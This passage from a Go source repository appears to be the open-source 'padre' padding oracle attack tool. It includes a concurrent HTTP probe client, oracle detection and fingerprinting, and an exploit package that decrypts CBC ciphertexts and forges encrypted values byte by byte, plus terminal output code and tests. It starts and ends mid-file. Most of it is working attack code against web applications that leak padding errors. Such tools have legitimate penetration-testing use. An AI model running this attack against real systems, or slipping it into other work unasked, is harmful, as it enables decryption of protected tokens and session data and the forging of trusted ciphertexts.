&Client{ HTTPclient: http.DefaultClient, URL: "http://localhost:1", Encoder: encoder.NewB64encoder(""), } _, err := client.DoRequest(context.Background(), []byte{}) require.Error(t, err) } ================================================ FILE: pkg/client/probe.go ================================================ package client import ( "context" "sync" ) // equals to 2**8, since we're testing every possible value of a byte const probeCount = 256 // ProbeResult - result of probe type ProbeResult struct { Byte byte Response *Response Err error } // SendProbes - given a chunk of bytes, place every possible byte-value at specified position. // These probes are sent concurrently over HTTP. // The results will be written into chanResult channel func (client *Client) SendProbes(ctx context.Context, chunk []byte, pos int, chanResult chan *ProbeResult) { // send byte values into this chanIn := make(chan byte, probeCount) /* run workers */ wg := sync.WaitGroup{} for i := 0; i < client.Concurrency; i++ { wg.Add(1) go func() { defer wg.Done() // copy chunk to produce local concurrent-safe copy chunkCopy := copySlice(chunk) // do the work for { select { case <-ctx.Done(): // early exit if context is cancelled return case b, ok := <-chanIn: // exit when input channel exhausted if !ok { return } // modify byte at given position chunkCopy[pos] = b // make HTTP request resp, err := client.DoRequest(ctx, chunkCopy) if ctx.Err() == context.Canceled { return } if err != nil { // error during HTTP request chanResult <- &ProbeResult{ Byte: b, Err: err, } } else { // send response chanResult <- &ProbeResult{ Byte: b, Response: resp, } } } } }() } /* close output channel when workers are done */ go func() { wg.Wait() close(chanResult) }() /* input generator: every possible byte value */ go func() { for i := 0; i <= 0xff; i++ { chanIn <- byte(i) } close(chanIn) }() } ================================================ FILE: pkg/client/probe_test.go ================================================ package client import ( "context" "fmt" "io/ioutil" "net/http" "net/http/httptest" "net/url" "testing" "github.com/glebarez/padre/pkg/encoder" "github.com/glebarez/padre/pkg/util" "github.com/stretchr/testify/require" ) func TestClient_SendProbes(t *testing.T) { reqBodyChan := make(chan []byte, 1) // special handler for propagating request body into channel handler := func(w http.ResponseWriter, r *http.Request) { // copy request body into the response body, err := ioutil.ReadAll(r.Body) require.NoError(t, err) reqBodyChan <- body fmt.Fprintln(w, "grabbed") } // new test server ts := httptest.NewServer(http.HandlerFunc(handler)) defer ts.Close() // chose encoder encoder := encoder.NewB64encoder("") // create test client testURI := "/" client := &Client{ HTTPclient: ts.Client(), URL: ts.URL + testURI, POSTdata: "$", CipherPlaceholder: "$", Encoder: encoder, Concurrency: 1, } // generate random chunk data := util.RandomSlice(20) // test every position for a probe for pos := 0; pos < len(data); pos++ { // create channel for probe results chanProbeResult := make(chan *ProbeResult, 1) // send probes go client.SendProbes(context.Background(), data, pos, chanProbeResult) // get probe result for probeResult := range chanProbeResult { require.NoError(t, probeResult.Err) // derive expected probe data expectedProbe := copySlice(data) expectedProbe[pos] = probeResult.Byte // derive made probe data // get request body received by the test server requestBody, err := url.QueryUnescape(string(<-reqBodyChan)) require.NoError(t, err) madeProbe, err := encoder.DecodeString(requestBody) require.NoError(t, err) // compare the two require.Equal(t, expectedProbe, madeProbe) } } } ================================================ FILE: pkg/client/response.go ================================================ package client // Response - HTTP Response data type Response struct { StatusCode int Body []byte } ================================================ FILE: pkg/client/util.go ================================================ package client import ( "net/url" "strings" ) // replace all occurrences of $ placeholder in a string, url-encoded if desired func replacePlaceholder(s, placeholder, replacement string) string { replacement = url.QueryEscape(replacement) return strings.Replace(s, placeholder, replacement, -1) } // creates copy of a slice func copySlice(slice []byte) []byte { sliceCopy := make([]byte, len(slice)) copy(sliceCopy, slice) return sliceCopy } ================================================ FILE: pkg/color/color.go ================================================ package color import ( "os" "regexp" "github.com/fatih/color" "github.com/mattn/go-isatty" ) var colorMatcher *regexp.Regexp var Error = color.Error func init() { // override the standard decision on No-color mode color.NoColor = os.Getenv("TERM") == "dumb" || (!isatty.IsTerminal(os.Stderr.Fd()) && !isatty.IsCygwinTerminal(os.Stderr.Fd())) // matcher for coloring terminal sequences colorMatcher = regexp.MustCompile("\033\\[.*?m") } /* coloring stringers */ var ( Red = color.New(color.FgRed).SprintFunc() Bold = color.New(color.Bold).SprintFunc() Yellow = color.New(color.FgYellow).SprintFunc() RedBold = color.New(color.FgRed, color.Bold).SprintFunc() CyanBold = color.New(color.FgCyan, color.Bold).SprintFunc() Cyan = color.New(color.FgCyan).SprintFunc() GreenBold = color.New(color.FgGreen, color.Bold).SprintFunc() Green = color.New(color.FgGreen).SprintFunc() HiGreenBold = color.New(color.FgHiGreen, color.Bold).SprintFunc() Underline = color.New(color.Underline).SprintFunc() YellowBold = color.New(color.FgYellow, color.Bold).SprintFunc() ) // StripColor - strips ANSI color control characters from a string func StripColor(s string) string { return colorMatcher.ReplaceAllString(s, "") } // TrueLen returns true length of a colorized string in characters func TrueLen(s string) int { return len(StripColor(s)) } ================================================ FILE: pkg/color/color_test.go ================================================ package color import "testing" func TestTrueLen(t *testing.T) { type args struct { s string } tests := []struct { name string args args want int }{ {"nocolor", args{""}, 0}, {"nocolor", args{"x"}, 1}, {"nocolor", args{"xxx"}, 3}, {"colored", args{YellowBold("")}, 0}, {"colored", args{YellowBold("x")}, 1}, {"colored", args{YellowBold("xxx")}, 3}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { if got := TrueLen(tt.args.s); got != tt.want { t.Errorf("TrueLen() = %v, want %v", got, tt.want) } }) } } ================================================ FILE: pkg/encoder/ascii.go ================================================ package encoder import ( "fmt" "strings" ) // ASCII encoder type asciiEncoder struct{} // escapes non standard ASCII with \x notation func (e asciiEncoder) EncodeToString(input []byte) string { output := strings.Builder{} for _, b := range input { if b >= 32 && b <= 127 { // ascii printable err := output.WriteByte(b) if err != nil { panic(err) } } else { _, err := output.WriteString(fmt.Sprintf("\\x%02x", b)) if err != nil { panic(err) } } } return output.String() } // ... just to comply with interface func (e asciiEncoder) DecodeString(input string) ([]byte, error) { panic("Not implemented") } ================================================ FILE: pkg/encoder/ascii_test.go ================================================ package encoder import ( "testing" "github.com/stretchr/testify/require" ) func Test_asciiEncoder_EncodeToString(t *testing.T) { e := NewASCIIencoder() type args struct { input []byte } tests := []struct { name string e Encoder args args want string }{ {"empty", e, args{[]byte(``)}, ``}, {"nonascii", e, args{[]byte{0, 1, 255}}, `\x00\x01\xff`}, {"ascii", e, args{[]byte(`test`)}, `test`}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { e := asciiEncoder{} if got := e.EncodeToString(tt.args.input); got != tt.want { t.Errorf("asciiEncoder.EncodeToString() = %v, want %v", got, tt.want) } }) } } func Test_asciiEncoder_DecodeString(t *testing.T) { e := &asciiEncoder{} decode := func() { e.DecodeString("") //nolint } require.Panicsf(t, decode, "", "") } ================================================ FILE: pkg/encoder/factory.go ================================================ package encoder import "encoding/base64" func NewB64encoder(replacements string) Encoder { return newEncoderWithReplacer(base64.StdEncoding, replacements) } func NewLHEXencoder(replacements string) Encoder { return newEncoderWithReplacer(&lhexEncoder{}, replacements) } func NewASCIIencoder() Encoder { return &asciiEncoder{} } ================================================ FILE: pkg/encoder/hex.go ================================================ package encoder import "encoding/hex" // lowercase hex encoder/decoder type lhexEncoder struct{} func (h *lhexEncoder) EncodeToString(input []byte) string { return hex.EncodeToString(input) } func (h *lhexEncoder) DecodeString(input string) ([]byte, error) { return hex.DecodeString(input) } ================================================ FILE: pkg/encoder/interface.go ================================================ package encoder // Encoder - performs encoding/decoding type Encoder interface { EncodeToString([]byte) string DecodeString(string) ([]byte, error) } // DecodeError ... type DecodeError string func (e DecodeError) Error() string { return string(e) } ================================================ FILE: pkg/encoder/replacer.go ================================================ package encoder import ( "strings" "github.com/glebarez/padre/pkg/util" ) /* wrapper for encoderDecoder with characters replacements */ type encoderWithReplacer struct { encoder Encoder replacerAfterEncoding *strings.Replacer replacerBeforeDecoding *strings.Replacer } // encode with replacement func (r *encoderWithReplacer) EncodeToString(input []byte) string { encoded := r.encoder.EncodeToString(input) return r.replacerAfterEncoding.Replace(encoded) } // decode with replacement func (r *encoderWithReplacer) DecodeString(input string) ([]byte, error) { encoded := r.replacerBeforeDecoding.Replace(input) decoded, err := r.encoder.DecodeString(encoded) if err != nil { return nil, err } return decoded, nil } // wrapper creator func newEncoderWithReplacer(encoder Encoder, replacements string) Encoder { return &encoderWithReplacer{ encoder: encoder, replacerAfterEncoding: strings.NewReplacer(strings.Split(replacements, "")...), replacerBeforeDecoding: strings.NewReplacer(strings.Split(util.ReverseString(replacements), "")...), } } ================================================ FILE: pkg/encoder/replacer_test.go ================================================ package encoder import ( "encoding/base64" "strings" "testing" "github.com/glebarez/padre/pkg/util" "github.com/stretchr/testify/require" ) func TestReplacer(t *testing.T) { // test cases tests := []struct { name string encoder Encoder replFactory func(replacements string) Encoder replString string }{ {"b64", base64.StdEncoding, NewB64encoder, `=~/!+^`}, {"lhex", &lhexEncoder{}, NewLHEXencoder, `0zfyeT`}, } // run tests for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { // generate random byte string byteData := util.RandomSlice(20) // encode with basic encoder encodedData := tt.encoder.EncodeToString(byteData) // replace characters encodedData = strings.NewReplacer(strings.Split(tt.replString, "")...).Replace(encodedData) // compare results replacer := tt.replFactory(tt.replString) require.Equal(t, replacer.EncodeToString(byteData), encodedData) // decode back and compare decoded, err := replacer.DecodeString(encodedData) require.NoError(t, err) require.Equal(t, decoded, byteData) // try decoding corrupted string _, err = replacer.DecodeString(string(encodedData[:len(encodedData)-1])) require.Error(t, err) }) } } ================================================ FILE: pkg/exploit/decrypt.go ================================================ package exploit import "fmt" func (p *Padre) Decrypt(ciphertext []byte, byteStream chan byte) ([]byte, error) { blockLen := p.BlockLen // check length of ciphertext against block length if len(ciphertext)%blockLen != 0 { return nil, fmt.Errorf("Ciphertext length is not compatible with block length (%d %% %d != 0)", len(ciphertext), blockLen) } // confirm validity of provided cipher pe, err := p.IsPaddingErrorInChunk(ciphertext) if err != nil { return nil, err } if pe { return nil, fmt.Errorf("Input cipher produced a padding error. You must provide a valid cipher to decrypt") } // count blocks blockCount := len(ciphertext) / blockLen // derive length of plaintext // NOTE: first block considered to be IV plainLen := len(ciphertext) - blockLen plainText := make([]byte, plainLen) // decrypt block by block moving backwards, except first (IV) for blockNum := blockCount; blockNum >= 2; blockNum-- { // mark indexes x := (blockNum - 2) * blockLen y := (blockNum - 1) * blockLen z := blockNum * blockLen // get cipher block and corresponding IV from ciphertext IV, block := ciphertext[x:y], ciphertext[y:z] // derive the nulling IV for the block nullingIV, err := p.breakCipher(block, newXORingStreamer(IV, byteStream)) if err != nil { return nil, fmt.Errorf("error occurred while decrypting block %d: %w", blockNum, err) } // derive plaintext block copy(plainText[x:y], xorSlices(nullingIV, IV)) } return plainText, nil } ================================================ FILE: pkg/exploit/encrypt.go ================================================ package exploit import ( "fmt" "github.com/glebarez/padre/pkg/util" ) func (p *Padre) Encrypt(plainText string, byteStream chan byte) ([]byte, error) { blockLen := p.BlockLen // pad plainText = Pkcs7Pad(plainText, blockLen) // count the blocks blockCount := len(plainText) / blockLen // initialize a slice that will contain our cipherText (blockCount + 1 for IV) cipher := make([]byte, (blockLen * (blockCount + 1))) // last block is generated randomly lastBlock := util.RandomSlice(blockLen) copy(cipher[len(cipher)-blockLen:], lastBlock) // the last block is already known, so we can fetch the bytes // NOTE: they are fetcher in reverse order, just like any other byte throughout this exploit if byteStream != nil { for i := len(lastBlock) - 1; i >= 0; i-- { byteStream <- lastBlock[i] } } /* Start with the last block and move towards the 1st block. Each block is used successively as a IV and then as a cipherText in the next iteration */ for blockNum := blockCount; blockNum >= 1; blockNum-- { // mark indexes x := (blockNum - 1) * blockLen y := blockNum * blockLen z := (blockNum + 1) * blockLen plainBlock := []byte(plainText)[x:y] // get nulling IV nullingIV, err := p.breakCipher(cipher[y:z], newXORingStreamer(plainBlock, byteStream)) if err != nil { return nil, fmt.Errorf("error occurred while encrypting block %d: %w", blockNum, err) } // reveal the cipher copy(cipher[x:y], xorSlices(plainBlock, nullingIV)) } return cipher, nil } ================================================ FILE: pkg/exploit/exploit.go ================================================ package exploit /* implementation of Padding Oracle exploit algorithm */ import ( "fmt" "github.com/glebarez/padre/pkg/util" ) // breaks cipher for a given block of ciphertext // returns bytes (NullingIV) that are turning underlying plaintext into null-byte sequence when sent as IV // the NullingIV can then be used in encryption or decryption, depending on what you XOR it with // the streamFetcher can be passed to deliver bytes in in real-time as soon as they discovered func (p *Padre) breakCipher(cipherBlock []byte, byteStreamer func(byte)) ([]byte, error) { blockLen := len(cipherBlock) // output buffer output := make([]byte, blockLen) // generate chunk of cipher with prepended random IV cipherChunk := append(util.RandomSlice(blockLen), cipherBlock...) // we start with the last byte of IV // and repeat the same procedure for every byte moving backwards for pos := blockLen - 1; pos >= 0; pos-- { // discover the bytes that do not produce padding error // NOTE: at last position there may be 2 such bytes*/ maxCount := 1 if pos == blockLen-1 { maxCount = 2 } found, err := p.getErrorlessByteValues(cipherChunk, pos, maxCount) if err != nil { return nil, err } /* check the results */ var foundByte *byte switch len(found) { case 0: return nil, fmt.Errorf("failed to break the cipher") case 1: foundByte = &found[0] case 2: /* this case can ONLY happen in the last position of the block (see maxCount variable above) here, we found 2 bytes that fit without padding oracle error the challenge here is to find the one that produced \x01 in plaintext the trick is: if we modify second-last byte, and padding error still doesn't occur then we are sure, that found byte produces \x01 at last position of plaintext for more info, you can check this thread: https://crypto.stackexchange.com/questions/37608/clarification-on-the-origin-of-01-in-this-oracle-padding-attack */ // modify second-last byte of IV cipherChunk[pos-1]++ // send additional probes for _, b := range found { // set last byte to one of the found cipherChunk[pos] = b // check for padding error paddingError, err := p.IsPaddingErrorInChunk(cipherChunk) if err != nil { return nil, err } if !paddingError { // we found the truly valid byte foundByte = &b break } } if foundByte == nil { return nil, fmt.Errorf("failed to decrypt due to unexpected server behavior") } } // XOR to retrieve output byte paddingValue := byte(blockLen - pos) outByte := *foundByte ^ paddingValue // write to output buffer output[pos] = outByte // fetch immediately into byteStreamer if provided if byteStreamer != nil { byteStreamer(outByte) } // adjust padding for next iteration cipherChunk[pos] = *foundByte for i := pos; i < blockLen; i++ { cipherChunk[i] ^= paddingValue ^ (paddingValue + 1) } } return output, nil } ================================================ FILE: pkg/exploit/padre.go ================================================ package exploit import ( "github.com/glebarez/padre/pkg/client" "github.com/glebarez/padre/pkg/probe" ) type Padre struct { Client *client.Client Matcher probe.PaddingErrorMatcher BlockLen int } ================================================ FILE: pkg/exploit/probes.go ================================================ package exploit import ( "context" "github.com/glebarez/padre/pkg/client" ) // detect byte values that do not produce padding error // early-stop when maxCount of such bytes reached func (p *Padre) getErrorlessByteValues(chunk []byte, pos int, maxCount int) ([]byte, error) { // the context will be cancelled upon returning from function ctx, cancel := context.WithCancel(context.Background()) defer cancel() // container for bytes that do not produce padding error goodBytes := make([]byte, 0, maxCount) chanResult := make(chan *client.ProbeResult, 256) // do probing go p.Client.SendProbes(ctx, chunk, pos, chanResult) // process result for result := range chanResult { if result.Err != nil { return nil, result.Err } // test for padding error isErr, err := p.Matcher.IsPaddingError(result.Response) if err != nil { return nil, err } // collect the right bytes if !isErr { goodBytes = append(goodBytes, result.Byte) // early exit of maxCount reached if len(goodBytes) == maxCount { break } } } return goodBytes, nil } // test concrete chunk for padding oracle func (p *Padre) IsPaddingErrorInChunk(chunk []byte) (bool, error) { // send resp, err := p.Client.DoRequest(context.Background(), chunk) if err != nil { return false, err } // test for padding oracle return p.Matcher.IsPaddingError(resp) } ================================================ FILE: pkg/exploit/util.go ================================================ package exploit import "strings" // XORs 2 slices of bytes func xorSlices(s1 []byte, s2 []byte) []byte { if len(s1) != len(s2) { panic("lengths of slices not equal") } output := make([]byte, len(s1)) for i := 0; i < len(s1); i++ { output[i] = s1[i] ^ s2[i] } return output } func Pkcs7Pad(input string, blockLen int) string { padding := blockLen - len(input)%blockLen return input + strings.Repeat(string(byte(padding)), padding) } func newXORingStreamer(xorArg []byte, outChan chan byte) func(byte) { // position at last byte of xorArg slice pos := len(xorArg) - 1 return func(input byte) { outChan <- (xorArg[pos] ^ input) pos-- } } ================================================ FILE: pkg/output/hackybar.go ================================================ package output import ( "fmt" "math/rand" "strings" "sync" "time" "github.com/glebarez/padre/pkg/color" "github.com/glebarez/padre/pkg/encoder" ) // output refresh frequency (times/second) const updateFreq = 13 // HackyBar is the dynamically changing bar in status line. // The bar reflects current state of output calculation. // Apart from currently calculated part of output, it also shows yet-unknown part as a random mix of ASCII characters. // This bar is designed to be fun and fast-changing. // It also shows HTTP-client performance in real-time, such as: total http requests sent, average RPS type HackyBar struct { // output info printer *Printer // printer to use outputData []byte // container for byte-output outputByteLen int // total number of bytes in output (before encoding) encoder encoder.Encoder // encoder for the byte-output Overflow bool // flag: terminal width overflowed, data was too wide // communications ChanOutput chan byte // delivering every byte of output via this channel ChanReq chan byte // to deliver indicator of yet-another http request made wg sync.WaitGroup // used to wait for gracefull exit after stop signal sent // RPS calculation start time.Time // the time of first request made, needed to properly calculate RPS requestsMade int // total requests made, needed to calculate RPS rps int // RPS // the output properties autoUpdateFreq time.Duration // interval at which the bar must be updated encryptMode bool // whether encrypt mode is used } func CreateHackyBar(encoder encoder.Encoder, outputByteLen int, encryptMode bool, printer *Printer) *HackyBar { return &HackyBar{ outputData: []byte{}, outputByteLen: outputByteLen, wg: sync.WaitGroup{}, ChanOutput: make(chan byte, 1), ChanReq: make(chan byte, 256), autoUpdateFreq: time.Second / time.Duration(updateFreq), encoder: encoder, encryptMode: encryptMode, printer: printer, } } // stops the bar func (p *HackyBar) Stop() { close(p.ChanOutput) p.wg.Wait() } // starts the bar func (p *HackyBar) Start() { go p.listenAndPrint() } /* designed to be run as goroutine. collects information about current progress and then prints the info in HackyBar */ func (p *HackyBar) listenAndPrint() { var ( // time since last print lastPrint time.Time // flag: output channel closed (no more data expected) outputChanClosed bool // counter for total output bytes received outputBytesReceived int ) p.wg.Add(1) defer p.wg.Done() /* listen for incoming events */ for { select { /* yet another output byte produced */ case b, ok := <-p.ChanOutput: if ok { p.outputData = append([]byte{b}, p.outputData...) //TODO: optimize this outputBytesReceived++ } else { outputChanClosed = true } /* yet another HTTP request was made. Update stats */ case <-p.ChanReq: if p.requestsMade == 0 { p.start = time.Now() } p.requestsMade++ secsPassed := int(time.Since(p.start).Seconds()) if secsPassed > 0 { p.rps = p.requestsMade / int(secsPassed) } } // the final status print if outputChanClosed || outputBytesReceived == p.outputByteLen { // avoid hacky mode // this is because stop can be requested when some error happened, // it that case we don't need to noise the unprocessed part of output with hacky string statusString := p.buildStatusString(false) p.printer.Println(statusString) return } // usual output (still in progress) if time.Since(lastPrint) > p.autoUpdateFreq { statusString := p.buildStatusString(true) p.printer.Printcr(statusString) lastPrint = time.Now() } } } /* constructs full status string to be displayed */ func (p *HackyBar) buildStatusString(hacky bool) string { /* the hacky-bar string is comprised of following parts |unknownOutput|knownOutput|stats| - unknown output is the part of output that is not yet calculated, it is represented as 'hacky' string - known output is the part of output that is already calculated, it is represented as output, encoded with *p.encoder - stats */ /* generate unknown output */ unprocessedLen := p.outputByteLen - len(p.outputData) if p.encryptMode { unprocessedLen = len(p.encoder.EncodeToString(make([]byte, unprocessedLen))) } unknownOutput := unknownString(unprocessedLen, hacky) /* generate known output */ knownOutput := p.encoder.EncodeToString(p.outputData) /* generate stats */ stats := fmt.Sprintf( "[%d/%d] | reqs: %d (%d/sec)", len(p.outputData), p.outputByteLen, p.requestsMade, p.rps) /* get available space */ availableSpace := p.printer.AvailableWidth - len(stats) - 1 // -1 is for the space between output and stats if availableSpace < 5 { // a general fool-check panic("Your terminal is to narrow. Use a real one") } /* if we have enough space, the logic is simple */ if availableSpace >= len(unknownOutput)+len(knownOutput) { output := unknownOutput + color.HiGreenBold(knownOutput) // pad with spaces to make stats always appear at the right edge of the screen output += strings.Repeat(" ", availableSpace-len(unknownOutput)-len(knownOutput)) return fmt.Sprintf("%s %s", output, stats) } /* if we made it to here, we need to cut the output to fit into the available space the main idea is to choose the split-point - the poisition at which unknown output ends and known output starts */ // at first, chose at 1/3 of available space splitPoint := availableSpace / 3 // correct if knownOutput is too short yet if len(knownOutput) < availableSpace-splitPoint { splitPoint = availableSpace - len(knownOutput) } else if len(unknownOutput) < splitPoint { // correct if unknownOutput is too short splitPoint = len(unknownOutput) } // put ... into the end of knownOutput if it's too long if len(knownOutput) > availableSpace-splitPoint { knownOutput = knownOutput[:availableSpace-splitPoint-3] + `...` p.Overflow = true } outputString := unknownOutput[:splitPoint] + color.HiGreenBold(knownOutput) /* return the final string */ return fmt.Sprintf("%s %s", outputString, stats) } /* generates string that represents the yet-unknown portion of output when in 'hacky' mode, will produce random characters form ASCII printable range*/ func unknownString(n int, hacky bool) string { b := make([]byte, n) for i := range b { if hacky { b[i] = byte(rand.Intn(126-33) + 33) // byte from ASCII printable range } else { b[i] = '_' } } return string(b) } ================================================ FILE: pkg/output/prefix.go ================================================ package output import ( "strings" "github.com/glebarez/padre/pkg/color" ) const ( space = ` ` ) // represents a current prefix // the prefix allows for contexted printing // the prefixes can be nested using outterPrefix attribute // the top-most prefix has outterPrefix equal to nil type prefix struct { prefix string // the prefix to be output indent string // indent to iutput on second+ lines of multiline outputs len int // length of prefix and indent lineFeeded bool // flag: line feeded (=true when first line was already output) outterPrefix *prefix // pointer to outter parent prefix paragraph bool // whether this prefix is paragraph } // renders prefix as string func (p *prefix) string() string { var s string // form own prefix as string if p.lineFeeded && p.paragraph { s = p.indent } else { s = p.prefix + space } // add outter prefix (if any) if p.outterPrefix == nil { return s } return p.outterPrefix.string() + s } // sets lineFeeded flag func (p *prefix) setLF() { p.lineFeeded = true if p.outterPrefix != nil { p.outterPrefix.setLF() } } // creates new prefix from string func newPrefix(s string, outter *prefix, paragraph bool) *prefix { spaceTaken := color.TrueLen(s) + 1 // prefix + space return &prefix{ prefix: s, indent: strings.Repeat(space, spaceTaken), len: spaceTaken, outterPrefix: outter, paragraph: paragraph, } } ================================================ FILE: pkg/output/printer.go ================================================ package output import ( "fmt" "io" "github.com/glebarez/padre/pkg/color" ) // some often used strings const ( _LF = "\n" // LF Line feed _CR = "\x1b\x5b2K\r" // Clear Line + CR Carret return ) // Printer is the printing facility type Printer struct { Stream io.Writer // the ultimate stream to print into AvailableWidth int // available terminal width cr bool // flag: caret return requested on next print (= print on same line please) prefix *prefix // current prefix to use } // base internal print, everyone else must build upon this func (p *Printer) print(s string) { fmt.Fprint(p.Stream, s) } func (p *Printer) Print(s string) { // CR debt ? if p.cr { p.print(_CR) p.cr = false } // prefix if p.prefix != nil { p.print(p.prefix.string()) } // print the contents p.print(s) } // AddPrefix adds one more prefix to current printer func (p *Printer) AddPrefix(s string, paragraph bool) { p.prefix = newPrefix(s, p.prefix, paragraph) p.AvailableWidth -= p.prefix.len } func (p *Printer) RemovePrefix() { p.AvailableWidth += p.prefix.len p.prefix = p.prefix.outterPrefix } func (p *Printer) Println(s string) { p.Print(s) p.print(_LF) // set flag that line was feeded if p.prefix != nil { p.prefix.setLF() } } func (p *Printer) Printcr(s string) { p.Print(s) p.cr = true } func (p *Printer) Printf(format string, a ...interface{}) { p.Print(fmt.Sprintf(format, a...)) } func (p *Printer) Printlnf(format string, a ...interface{}) { p.Println(fmt.Sprintf(format, a...)) } func (p *Printer) Printcrf(format string, a ...interface{}) { p.Printcr(fmt.Sprintf(format, a...)) p.cr = true } func (p *Printer) PrintWithPrefix(prefix, message string) { p.AddPrefix(prefix, false) p.Println(message) p.RemovePrefix() } func (p *Printer) Error(err error) { p.PrintWithPrefix(color.RedBold("[-]"), color.Red(err)) } func (p *Printer) Errorf(format string, a ...interface{}) { p.Error(fmt.Errorf(format, a...)) } func (p *Printer) Hint(format string, a ...interface{}) { p.PrintWithPrefix(color.CyanBold("[hint]"), fmt.Sprintf(format, a...)) } func (p *Printer) Warning(format string, a ...interface{}) { p.PrintWithPrefix(color.YellowBold("[!]"), fmt.Sprintf(format, a...)) } func (p *Printer) Success(format string, a ...interface{}) { p.PrintWithPrefix(color.GreenBold("[+]"), fmt.Sprintf(format, a...)) } func (p *Printer) Info(format string, a ...interface{}) { p.PrintWithPrefix(color.CyanBold("[i]"), fmt.Sprintf(format, a...)) } func (p *Printer) Action(s string) { p.Printcr(color.Yellow(s)) } ================================================ FILE: pkg/probe/confirm.go ================================================ package probe import ( "context" "github.com/glebarez/padre/pkg/client" "github.com/glebarez/padre/pkg/util" ) // confirms existence of padding oracle // returns true if confirmed, false otherwise func ConfirmPaddingOracle(c *client.Client, matcher PaddingErrorMatcher, blockLen int) (bool, error) { // create random block of ciphertext (IV prepended) cipher := util.RandomSlice(blockLen * 2) // test last byte of IV pos := blockLen - 1 // channel to soak results chanResult := make(chan *client.ProbeResult, 256) // send probes go c.SendProbes(context.Background(), cipher, pos, chanResult) // count padding errors count := 0 for result := range chanResult { if result.Err != nil { return false, result.Err } isErr, err := matcher.IsPaddingError(result.Response) if err != nil { return false, err } if isErr { count++ } } // padding oracle must produce exactly 254 or 255 errors return count == 254 || count == 255, nil } ================================================ FILE: pkg/probe/detect.go ================================================ package probe import ( "context" "github.com/glebarez/padre/pkg/client" "github.com/glebarez/padre/pkg/util" ) // attempts to auto-detect padding oracle fingerprint func DetectPaddingErrorFingerprint(c *client.Client, blockLen int) (PaddingErrorMatcher, error) { // create random block of ciphertext (IV prepended) cipher := util.RandomSlice(blockLen * 2) // test last byte of IV pos := blockLen - 1 // channel to soak results chanResult := make(chan *client.ProbeResult, 256) // fingerprint probes go c.SendProbes(context.Background(), cipher, pos, chanResult) // collect counts of fingerprints fpMap := map[ResponseFingerprint]int{} for result := range chanResult { if result.Err != nil { // error during probes return nil, result.Err } fp, err := GetResponseFingerprint(result.Response) if err != nil { // error during fingerprinting return nil, result.Err } fpMap[*fp]++ } // padding oracles respond with predictable count of unique fingerprints // following factors must be considered: // a. some padding implmementations 'incorrect' padding from 'errornous' padding // (e.g. if you pad cipher with block length of 16 with values grater than 16) // padre considers following fingerprint counts as indication of padding error patterns := [][]int{ {255, 1}, {254, 2}, {256 - blockLen, blockLen - 1, 1}, {256 - blockLen, blockLen - 2, 2}, } // check if any of count-patterns matches patternLoop: for _, pat := range patterns { fingerprints := make([]ResponseFingerprint, 0) for fp, count := range fpMap { if inSlice(pat, count) { // do not include fingerprint of non-error response (last position in pattern) if count != pat[len(pat)-1] { fingerprints = append(fingerprints, fp) } } else { continue patternLoop } } // if we made it to here, we found a padding oracle // return the matcher return &matcherByFingerprint{ fingerprints: fingerprints, }, nil } return nil, nil } func inSlice(slice []int, value int) bool { for _, i := range slice { if value == i { return true } } return false } ================================================ FILE: pkg/probe/fingerprint.go ================================================ package probe import ( "unicode" "github.com/glebarez/padre/pkg/client" ) // ResponseFingerprint ... type ResponseFingerprint struct { StatusCode int Lines int Words int } // GetResponseFingerprint - scrape fingerprint form http response func GetResponseFingerprint(resp *client.Response) (*ResponseFingerprint, error) { return &ResponseFingerprint{ StatusCode: resp.StatusCode, Lines: countLines(resp.Body), Words: countWords(resp.Body), }, nil } // helper: count number of lines in input func countLines(input []byte) int { if len(input) == 0 { return 0 } count := 1 for _, b := range input { if b == '\n' { count++ } } return count } // helper: count number of lines in input func countWords(input []byte) int { inWord, count := false, 0 for _, r := range string(input) { if unicode.IsSpace(r) { inWord = false } else if !inWord { inWord = true count++ } } return count } ================================================ FILE: pkg/probe/interface.go ================================================ package probe import "github.com/glebarez/padre/pkg/client" // PaddingErrorMatcher - tests if HTTP response matches with padding error type PaddingErrorMatcher interface { IsPaddingError(*client.Response) (bool, error) } ================================================ FILE: pkg/probe/matcher.go ================================================ package probe import ( "regexp" "github.com/glebarez/padre/pkg/client" ) type matcherByFingerprint struct { fingerprints []ResponseFingerprint } func (m *matcherByFingerprint) IsPaddingError(resp *client.Response) (bool, error) { respFP, err := GetResponseFingerprint(resp) if err != nil { return false, err } for _, fp := range m.fingerprints { if fp == *respFP { return true, nil } } return false, nil } type matcherByRegexp struct { re *regexp.Regexp } func (m *matcherByRegexp) IsPaddingError(resp *client.Response) (bool, error) { return m.re.Match(resp.Body), nil } func NewMatcherByRegexp(r string) (PaddingErrorMatcher, error) { re, err := regexp.Compile(r) if err != nil { return nil, err } return &matcherByRegexp{re}, nil } ================================================ FILE: pkg/util/http.go ================================================ package util import ( "errors" "net/http" "regexp" "strings" ) // ParseCookies parses cookies in raw string format into net/http format func ParseCookies(cookies string) (cookSlice []*http.Cookie, err error) { // initial string produces emtpty cookies if cookies == "" { return []*http.Cookie{}, nil } // strip quotes if any cookies = strings.Trim(cookies, `"'`) // split several cookies into slice cookieS := strings.Split(cookies, ";") for _, c := range cookieS { // strip whitespace c = strings.TrimSpace(c) // split to name and value nameVal := strings.SplitN(c, "=", 2) if len(nameVal) != 2 || strings.Contains(nameVal[1], "=") { return nil, errors.New("failed to parse cookie") } cookSlice = append(cookSlice, &http.Cookie{Name: nameVal[0], Value: nameVal[1]}) } return cookSlice, nil } // DetectContentType detects HTTP content type based on provided POST data func DetectContentType(data string) string { var contentType string if data[0] == '{' || data[0] == '[' { contentType = "application/json" } else { match, _ := regexp.MatchString("([^=]+=[^=]+&?)+", data) if match { contentType = "application/x-www-form-urlencoded" } else { contentType = http.DetectContentType([]byte(data)) } } return contentType } ================================================ FILE: pkg/util/http_test.go ================================================ package util import ( "net/http" "reflect" "testing" ) func TestParseCookies(t *testing.T) { type args struct { cookies string } tests := []struct { name string args args wantCookSlice []*http.Cookie wantErr bool }{ {"empty", args{""}, []*http.Cookie{}, false}, {"normal", args{"key=val"}, []*http.Cookie{{Name: "key", Value: "val"}}, false}, {"errornous", args{"key=val=1"}, nil, true}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { gotCookSlice, err := ParseCookies(tt.args.cookies) if (err != nil) != tt.wantErr { t.Errorf("ParseCookies() error = %v, wantErr %v", err, tt.wantErr) return } if !reflect.DeepEqual(gotCookSlice, tt.wantCookSlice) { t.Errorf("ParseCookies() = %v, want %v", 